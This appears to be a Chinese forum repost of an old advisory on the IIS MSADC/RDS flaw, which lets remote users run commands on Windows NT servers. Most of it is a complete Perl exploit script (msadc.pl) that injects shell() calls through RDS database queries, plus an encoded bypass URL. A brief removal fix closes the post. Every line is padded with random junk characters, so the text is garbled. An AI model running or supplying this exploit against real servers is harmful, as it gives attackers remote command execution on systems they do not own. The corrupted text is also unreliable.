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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) WokQ X"  
efnj5|JSV  
涉及程序: E{#Y=  
Microsoft NT server J nzI- y  
1oVjx_I5y  
描述: f|cF [&wo  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 #ozQF~  
L(ni6-  
详细: 6j{O/  
如果你没有时间读详细内容的话,就删除: D,)^l@UP  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 6Y-sc*5  
有关的安全问题就没有了。 SaA9)s  
LqOjVQxz  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 rjJ-ZRs\  
v."0igMO  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 KJ]ejb$  
关于利用ODBC远程漏洞的描述,请参看: DP-euz  
*K}j>A  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm I8]q~Q<-P  
<Ky6|&!  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 J@4,@+X  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp HbUadPr  
$S(q;Y  
这里不再论述。 ]L?DV3N  
(!iGQj(m  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: rQ!X  
p#T^o]+  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset j%Cr)' H?  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Z?o?"|o  
Ac@ zTK6>  
7lJs{$ P  
#将下面这段保存为txt文件,然后: "perl -x 文件名" R8K ?! Z  
~H+W[r}  
#!perl S}T*gUO  
#  &9*MO  
# MSADC/RDS 'usage' (aka exploit) script % w0Vf$  
# (q|EC;   
# by rain.forest.puppy [L+VvO%cT  
# <s737Rl  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me SA'c}gP  
# beta test and find errors! oO 8opS7F  
.^} vDA  
use Socket; use Getopt::Std; 4CdST3  
getopts("e:vd:h:XR", \%args); "k%B;!We)  
n;5;D  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; `=B0NC.3  
j& x=?jX  
if (!defined $args{h} && !defined $args{R}) { ]*Tnu98G}  
print qq~ *z{.9z`  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ~LKX2Q:S  
-h <host> = host you want to scan (ip or domain) (H*d">`mz  
-d <seconds> = delay between calls, default 1 second >a aHN1Ca  
-X = dump Index Server path table, if available _H (:$=$Q  
-v = verbose HR> X@g<c  
-e = external dictionary file for step 5 [61T$.  
WV8?zB1  
Or a -R will resume a command session lW8!_h"G`n  
NL-<K  
~; exit;} !]v&/  
NxyrP**j  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; \XUG-\$p  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ~_YU%y  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} YhzDi>hob  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); w=txSF&Qr  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} '/@] V  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 1Z+\>~8  
=rrbS8To=  
if (!defined $args{R}){ $ret = &has_msadc; fcC?1M[BP~  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} "++q. y  
*k7vm%#ns  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ;J)8#|  
. "cmd /c "; 1 =cFV'  
$in=<STDIN>; chomp $in; pJK}9p=4`  
$command="cmd /c " . $in ; %N, P? ,U  
 7z?r x  
if (defined $args{R}) {&load; exit;} I}@m6D|\  
)7j CEA03  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; B9-Nb 4  
&try_btcustmr; )^ky @V  
L< gp "e  
print "\nStep 2: Trying to make our own DSN..."; iQI$Y]Y7  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ezOZHY>|#  
W97%12J3  
print "\nStep 3: Trying known DSNs..."; %j[DG_  
&known_dsn; R4R SXV  
\40d?N#D  
print "\nStep 4: Trying known .mdbs..."; M]Y72K^  
&known_mdb; vX'@we7Q{  
%ys-y?r  
if (defined $args{e}){ pNHO;N[&  
print "\nStep 5: Trying dictionary of DSN names..."; JmR) g  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } :cmQ w  
``:AF:  
print "Sorry Charley...maybe next time?\n"; Ofyz,% |Q  
exit; %Ny`d49&  
\3ZQ:E}5  
############################################################################## l5m5H,`  
MZ8jL,a^  
sub sendraw { # ripped and modded from whisker .skR4f,h  
sleep($delay); # it's a DoS on the server! At least on mine... .kGlUb?^Q  
my ($pstr)=@_; t!g9,xG<X  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Px>Gc:!>  
die("Socket problems\n"); nn"Wn2ciS  
if(connect(S,pack "SnA4x8",2,80,$target)){ 6#JdQ[IP6  
select(S); $|=1; wM^_pah#Y5  
print $pstr; my @in=<S>; ~4Gs\U:!Q  
select(STDOUT); close(S); MWHGB")J  
return @in; A!K/92[#@  
} else { die("Can't connect...\n"); }} 5G\CT&cQR  
'Gw;@[  
############################################################################## E/MNz}+  
\rw/d5.  
sub make_header { # make the HTTP request ma\UJz  
my $msadc=<<EOT S!<1C Fh  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 b$24${*'  
User-Agent: ACTIVEDATA bs%lMa.o  
Host: $ip xF+a.gAIb  
Content-Length: $clen .=VtMi$n  
Connection: Keep-Alive buXPeIo^VM  
NdS6j'%B@7  
ADCClientVersion:01.06 M@>EZ  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 WJ{hta  
V0gk8wD  
--!ADM!ROX!YOUR!WORLD! n: ~y]  
Content-Type: application/x-varg vFK&63  
Content-Length: $reqlen ,6zH;fi  
$>3/6(bW  
EOT 93Yo }6>  
; $msadc=~s/\n/\r\n/g; 0`KB|=>  
return $msadc;} Sd3KY9,  
i4Y_5  
############################################################################## r|XNS>V ,$  
1`tE Hu.  
sub make_req { # make the RDS request uhuwQS=X  
my ($switch, $p1, $p2)=@_;  0x}8}  
my $req=""; my $t1, $t2, $query, $dsn; s<I[)FQVr  
,t+5(qi  
if ($switch==1){ # this is the btcustmr.mdb query [mSK!Y@u  
$query="Select * from Customers where City=" . make_shell(); DRo@gYDn  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . kF9T 9  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} rAdYBr=0  
cJ G><'  
elsif ($switch==2){ # this is general make table query M-!eL<  
$query="create table AZZ (B int, C varchar(10))"; A2o ;YyF  
$dsn="$p1";} E6SGK,f0D  
Ojkbv  
elsif ($switch==3){ # this is general exploit table query rSIb1zJ  
$query="select * from AZZ where C=" . make_shell(); lD!o4ZAo  
$dsn="$p1";} ~RVx~hh  
OC zWP,  
elsif ($switch==4){ # attempt to hork file info from index server /3*75  
$query="select path from scope()"; A# W%ud4  
$dsn="Provider=MSIDXS;";}  0gBD  
%d+:0.+`n  
elsif ($switch==5){ # bad query EO'[AU%~  
$query="select"; D?rQQxb  
$dsn="$p1";} MOJ-q3H^W  
ex8mA6g  
$t1= make_unicode($query); kb?QQ\e  
$t2= make_unicode($dsn); }Po&6^  
$req = "\x02\x00\x03\x00"; B.&ly/d  
$req.= "\x08\x00" . pack ("S1", length($t1)); +]Oq{v:e  
$req.= "\x00\x00" . $t1 ; ]6{G;f$  
$req.= "\x08\x00" . pack ("S1", length($t2)); =6t)-53  
$req.= "\x00\x00" . $t2 ; tw8@&8"  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ,TD@s$2x  
return $req;} fbS l$jn.  
XljiK8q;%  
############################################################################## vN%zk(?T  
VdR5ZP  
sub make_shell { # this makes the shell() statement ,MwwA@,9-  
return "'|shell(\"$command\")|'";} JBdZ]  
A%n l@`s,  
############################################################################## dL>0"UN}-  
9)sGnD;  
sub make_unicode { # quick little function to convert to unicode #;U_ L`q  
my ($in)=@_; my $out; -^8gZk/(W  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } u0h {bu  
return $out;} ([s}bD.9  
"])X0z yM  
############################################################################## z2og&|uT  
e9h T  
sub rdo_success { # checks for RDO return success (this is kludge) E9 {Gaa/{  
my (@in) = @_; my $base=content_start(@in); GVZ/`^ndM  
if($in[$base]=~/multipart\/mixed/){ FsZF>vaV  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 5aw#!K=J'  
return 0;} 6}2vn5 E//  
3a9Oj'd1M  
############################################################################## ~=P&wBnJ  
,;C92XY  
sub make_dsn { # this makes a DSN for us r4jW=?|  
my @drives=("c","d","e","f"); PdJtJqA8h\  
print "\nMaking DSN: "; %MgQ.  
foreach $drive (@drives) { wFpt#_fS  
print "$drive: "; `!5 ZF@Q>e  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . UDV,co  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" di`Ql._M  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); lRnst-inlI  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; B[ooT3V  
return 0 if $2 eq "404"; # not found/doesn't exist ,JRYG<O_T  
if($2 eq "200") { BBnbXhxZ  
foreach $line (@results) { ^x %yIS  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} uXW<8( %W  
} return 0;} rE[*i q,#  
aDR<5_Yb  
############################################################################## }Gr5TDiV0\  
~R7rIP8Wr  
sub verify_exists { p0? X R  
my ($page)=@_; !NK8_p|X  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ,ju1:`  
return $results[0];} pq+Gsu1^  
3D +>NB  
############################################################################## :gVz}/C.@  
;^lVIS%&{  
sub try_btcustmr { ^o,Hu#  
my @drives=("c","d","e","f"); ]K?z|&N|HK  
my @dirs=("winnt","winnt35","winnt351","win","windows"); yC4JYF]JN  
o\1"ux;b  
foreach $dir (@dirs) { 8Z:NT_Ss  
print "$dir -> "; # fun status so you can see progress 3\|e8(bc  
foreach $drive (@drives) { ' ~lC85  
print "$drive: "; # ditto I<z /Y?  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; J:)Q)MT24:  
$reqlenlen=length( "$reqlen" ); KnbT2  
$clen= 206 + $reqlenlen + $reqlen; q0jzng  
cG6Q$  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 9s6, &'  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 8V`r*:\  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 8fTuae$^  
[zn`vT  
############################################################################## rOE[c  
7&/iuP$.  
sub odbc_error { ZGSb&!Ke  
my (@in)=@_; my $base; 0vQ@n7  
my $base = content_start(@in); [{ K$sd  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this  r75,mX  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Ex^7`-2,B  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; f I`6]?W  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; <tMiI)0%  
return $in[$base+4].$in[$base+5].$in[$base+6];} !h}x,=`z/  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 7ml,  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . iE':ur<`  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} _OZrH(8  
acdaDY  
############################################################################## -wvrc3F  
X2(TuR*t  
sub verbose { H5S>|"`e`e  
my ($in)=@_; NcZ6!wWdE  
return if !$verbose; `]#DdJ_|  
print STDOUT "\n$in\n";} =<y$5"|  
I{JU<A,&  
############################################################################## D0v!fF ~  
b4Zkj2L  
sub save {  ;iy]mPd  
my ($p1, $p2, $p3, $p4)=@_; m!er "0  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; vK!,vKa.  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; R4 ;^R  
close OUT;} MM3X! tq  
':R)i.TS  
############################################################################## p )etl5  
QK&<im-  
sub load { ;}#tm9S;  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; iS&fp[Th  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 3cBuqQ  
@p=<IN>; close(IN); ,oT?-PC$z  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); S)C =Q~&  
$target= inet_aton($ip) || die("inet_aton problems"); z|=l^u6uS  
print "Resuming to $ip ..."; 1RY}mq  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; o )GNV  
if($p[1]==1) { <,(6*b  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; T|GRkxd,E3  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; {oy(08 `6  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); |fYNkD 8z1  
if (rdo_success(@results)){print "Success!\n";} ?y>xC|kt  
else { print "failed\n"; verbose(odbc_error(@results));}} Gn<s >3E  
elsif ($p[1]==3){ W( E!:  
if(run_query("$p[3]")){ KXL]Qw FN  
print "Success!\n";} else { print "failed\n"; }} lRi-?I| ~9  
elsif ($p[1]==4){ \S[:  
if(run_query($drvst . "$p[3]")){ -\b~R7VQ  
print "Success!\n"; } else { print "failed\n"; }} -_[n2\|we)  
exit;} rV<yM$IA  
afqLTWU S  
############################################################################## 12gcma}  
x/ {  
sub create_table { 9w[7X"#n  
my ($in)=@_; k|F<?:C  
$reqlen=length( make_req(2,$in,"") ) - 28; RWP`#(&/&  
$reqlenlen=length( "$reqlen" ); /k|y\'<  
$clen= 206 + $reqlenlen + $reqlen; H2 5Mx>|d  
my @results=sendraw(make_header() . make_req(2,$in,"")); J [J,  
return 1 if rdo_success(@results); 1"RO)&  
my $temp= odbc_error(@results); verbose($temp); X@:pys 8@  
return 1 if $temp=~/Table 'AZZ' already exists/; M&Sjo' ( .  
return 0;} DNcf2_m  
-^=gQ7f9  
############################################################################## /Z';# G,z  
DDq*#;dP  
sub known_dsn { Q@6OIE  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go %*>=L$A  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", EpB2?XGA  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", JOS,>;;F4  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ;Xk-hhR  
<]eWr:;  
foreach $dSn (@dsns) { T~J6(,"  
print "."; ZE.nB- H  
next if (!is_access("DSN=$dSn")); r&@#,g  
if(create_table("DSN=$dSn")){ !FX0Nx=oi  
print "$dSn successful\n"; A6v02WG_1T  
if(run_query("DSN=$dSn")){ \-a^8{.^E  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { kngkG|du  
print "Something's borked. Use verbose next time\n";}}} print "\n";} *kY\,r&!P  
;XNe:g.CR  
############################################################################## 8ME_O~,N  
L}UJ`U  
sub is_access { /.9j$iK#  
my ($in)=@_; 3%{A"^S=}  
$reqlen=length( make_req(5,$in,"") ) - 28; lyNa(3  
$reqlenlen=length( "$reqlen" ); Vz6p^kMB  
$clen= 206 + $reqlenlen + $reqlen; /{vv n  
my @results=sendraw(make_header() . make_req(5,$in,"")); #|k;nFJ  
my $temp= odbc_error(@results); c?A(C#~ z  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); P +ONQN|  
return 0;} 4|YCBXWh  
fDt#<f 4;  
############################################################################## }R4%%)j(Vj  
Pz7{dQqjk#  
sub run_query { DP ,owk  
my ($in)=@_; eQ`TW'[9_6  
$reqlen=length( make_req(3,$in,"") ) - 28; uCO-f<b  
$reqlenlen=length( "$reqlen" ); l5_RG,O0A  
$clen= 206 + $reqlenlen + $reqlen; Z 6KM%R  
my @results=sendraw(make_header() . make_req(3,$in,"")); " 2A`M~  
return 1 if rdo_success(@results); s kC*  
my $temp= odbc_error(@results); verbose($temp); 1;?n]L`T  
return 0;} iU"jV*P]  
Bd jo3eX  
############################################################################## oE \Cwd  
d.Wq@(ZoA  
sub known_mdb { Q%)da)0:c  
my @drives=("c","d","e","f","g"); hEla8L4Y  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 8oiO:lyLSt  
my $dir, $drive, $mdb; s\2t|d   
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; )d5H v2/0  
jkCa2!WQ'i  
# this is sparse, because I don't know of many  2f>G   
my @sysmdbs=( "\\catroot\\icatalog.mdb", *W,tq(%tQ  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", nAIV]9RAZ%  
"\\system32\\certmdb.mdb", $I*ye+a*{q  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% lZ]x #v  
~Sy/q]4ys*  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", JrlDTNJj'  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Y~z3fd  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", %+Hhe]J ld  
"\\cfusion\\cfapps\\security\\realm_.mdb", !SRElb A;i  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", _~~:@fy  
"\\cfusion\\database\\cfexamples.mdb", 7|Z=#3INw  
"\\cfusion\\database\\cfsnippets.mdb", !qGER.  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", EGpN@  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", S}L$-7Ct  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ~nYp*t C'  
"\\cfusion\\database\\smpolicy.mdb", OXu*w l(z  
"\\cfusion\\database\cypress.mdb", N zrHWVD  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", /zxLnT; 5  
"\\website\\cgi-win\\dbsample.mdb", `;KU^dH  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", $Ro]]NUz|  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" H'2&3v  
); #these are just R\DdU-k  
foreach $drive (@drives) { V9aGo#  
foreach $dir (@dirs){ obA}SF  
foreach $mdb (@sysmdbs) { c%|K x  
print "."; }/)vOUcEd  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ +c4-7/kE  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ;rwjqUDBz  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ XS:W{tL!  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; R(YhVW_l  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Y]>!uwn  
>4I,9TO  
foreach $drive (@drives) { ]M^ k~Xa  
foreach $mdb (@mdbs) { `N;}Gf-'  
print "."; o8<0#W@S  
if(create_table($drv . $drive . $dir . $mdb)){ w5/`_m!  
print "\n" . $drive . $dir . $mdb . " successful\n"; $y%X#:eLJ  
if(run_query($drv . $drive . $dir . $mdb)){ z"7I5N  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Q=B>Q  
} else { print "Something's borked. Use verbose next time\n"; }}}} GjVq"S  
} I^}q;L![\  
y $i^C:N  
############################################################################## >WYiOXYv  
#eRrVjbo  
sub hork_idx { 6yn34'yw  
print "\nAttempting to dump Index Server tables...\n"; C8^h`B9z&I  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; *??!~RE  
$reqlen=length( make_req(4,"","") ) - 28; g+( Cs  
$reqlenlen=length( "$reqlen" ); \xCI8 *W  
$clen= 206 + $reqlenlen + $reqlen; pFB^l|\ ]  
my @results=sendraw2(make_header() . make_req(4,"","")); V_'!#  
if (rdo_success(@results)){ 11"- taWj  
my $max=@results; my $c; my %d; u92);1R  
for($c=19; $c<$max; $c++){ E&;[E  
$results[$c]=~s/\x00//g; /z=xEnU#  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ~wejy3|@0  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; cj[a^ ZH  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 9+irf^D`O  
$d{"$1$2"}="";} u"$=:GK  
foreach $c (keys %d){ print "$c\n"; } n'?AZ4&z  
} else {print "Index server doesn't seem to be installed.\n"; }} \*a7o GyH>  
yr;~M{{4  
############################################################################## dnwTD\),  
o"kVA;5<G  
sub dsn_dict { ~nP~6Q'wSH  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); RJpRsr  
while(<IN>){ DPWt=IFU  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ?IN'Dc9&%-  
next if (!is_access("DSN=$dSn")); "_f~8f`y  
if(create_table("DSN=$dSn")){ Ri   
print "$dSn successful\n"; |>Ld'\i8  
if(run_query("DSN=$dSn")){ &g;&=<#I  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 9 HiH6f^5  
print "Something's borked. Use verbose next time\n";}}} ?DGe}?pX  
print "\n"; close(IN);} ]\JLlQ}#H  
2@Nt6r  
############################################################################## }O + a  
mhNX05D  
sub sendraw2 { # ripped and modded from whisker IgmCZ?l&0  
sleep($delay); # it's a DoS on the server! At least on mine... `iQ])C^d  
my ($pstr)=@_; OGR2Y  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || YAdk3y~pL  
die("Socket problems\n"); sk%Xf,  
if(connect(S,pack "SnA4x8",2,80,$target)){ hEh` cBO  
print "Connected. Getting data"; _'*Vcu`Y  
open(OUT,">raw.out"); my @in; ke)}JU^"  
select(S); $|=1; print $pstr; QomihQnc  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} tH)fu%:p  
close(OUT); select(STDOUT); close(S); return @in; 5r` x\  
} else { die("Can't connect...\n"); }} 6/3oW}O o  
j[RY  
############################################################################## jhJ'fI  
$~,J8?)(z  
sub content_start { # this will take in the server headers e~ZxDAd  
my (@in)=@_; my $c; iAr]Ed"9|  
for ($c=1;$c<500;$c++) { QPyHos `  
if($in[$c] =~/^\x0d\x0a/){ P!yOA_)as  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } hDf!l$e.  
else { return $c+1; }}} *%ta5a  
return -1;} # it should never get here actually ri1;i= W  
s/0bXM$^  
############################################################################## 98rO]rg  
i*)BFV_-  
sub funky {  X@Bg_9\i  
my (@in)=@_; my $error=odbc_error(@in); 0O!A8FA0  
if($error=~/ADO could not find the specified provider/){ vNQ|tmn  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; }3/|;0j$  
exit;} { V$}qa{P  
if($error=~/A Handler is required/){ 6ltV}Wt-  
print "\nServer has custom handler filters (they most likely are patched)\n"; Y M,UM>  
exit;} 4d8}g25C  
if($error=~/specified Handler has denied Access/){ `$Y%c1;  
print "\nServer has custom handler filters (they most likely are patched)\n"; m^o?{ (K  
exit;}} 717OzrF}A?  
LYke\/ md  
############################################################################## "#.L\p{Zy  
*pYawT  
sub has_msadc { P#9Pq,I  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); u)[i'ceQZ:  
my $base=content_start(@results); m>^vr7  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); w$0*5n>)  
return 0;} ~IFafAO&  
.umN>/o[  
######################## lE8(BWzw  
.\+c{  
Ie}7#>S  
解决方案: ao"Z%#Jb~  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll r-_-/O"l  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 tm.&k6%  
s >k4G  
拿出来充数 哈哈
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